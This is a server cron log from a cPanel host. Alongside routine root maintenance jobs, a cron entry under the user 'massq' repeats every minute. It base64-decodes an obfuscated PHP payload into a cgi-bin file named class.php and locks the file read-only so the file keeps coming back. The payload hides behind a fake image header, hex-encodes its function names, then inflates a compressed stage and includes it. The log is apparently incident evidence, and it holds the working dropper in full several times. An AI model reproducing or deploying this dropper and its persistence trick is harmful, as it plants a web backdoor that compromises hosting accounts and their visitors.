Sep  9 10:25:01 server CROND[21275]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 10:26:01 server CROND[22204]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:26:01 server CROND[22205]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:26:01 server CROND[22206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:27:01 server CROND[22582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:27:01 server CROND[22583]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:27:01 server CROND[22584]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 10:27:01 server CROND[22585]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:28:01 server CROND[23130]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:28:01 server CROND[23131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:28:01 server CROND[23133]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:29:01 server CROND[23503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:29:01 server CROND[23502]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:29:01 server CROND[23504]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:30:02 server CROND[23882]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 10:30:02 server CROND[23884]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:30:02 server CROND[23885]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 10:30:02 server CROND[23887]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 10:30:02 server CROND[23888]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:30:02 server CROND[23889]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 10:30:02 server CROND[23891]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 10:30:02 server CROND[23886]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:31:01 server CROND[24806]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:31:01 server CROND[24807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:31:01 server CROND[24808]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:32:01 server CROND[25181]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:32:01 server CROND[25182]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:32:01 server CROND[25183]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:33:01 server CROND[25564]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:33:01 server CROND[25565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:33:01 server CROND[25566]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:34:01 server CROND[26115]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:34:01 server CROND[26116]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:34:01 server CROND[26117]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:35:01 server CROND[26513]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 10:35:01 server CROND[26514]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 10:35:01 server CROND[26516]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 10:35:01 server CROND[26518]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 10:35:01 server CROND[26523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:35:01 server CROND[26526]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:35:01 server CROND[26525]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 10:35:01 server CROND[26527]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 10:35:01 server CROND[26528]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:36:01 server CROND[27363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:36:01 server CROND[27364]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:36:01 server CROND[27362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:37:01 server CROND[27821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:37:01 server CROND[27822]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:37:01 server CROND[27824]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:38:01 server CROND[28195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:38:01 server CROND[28196]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
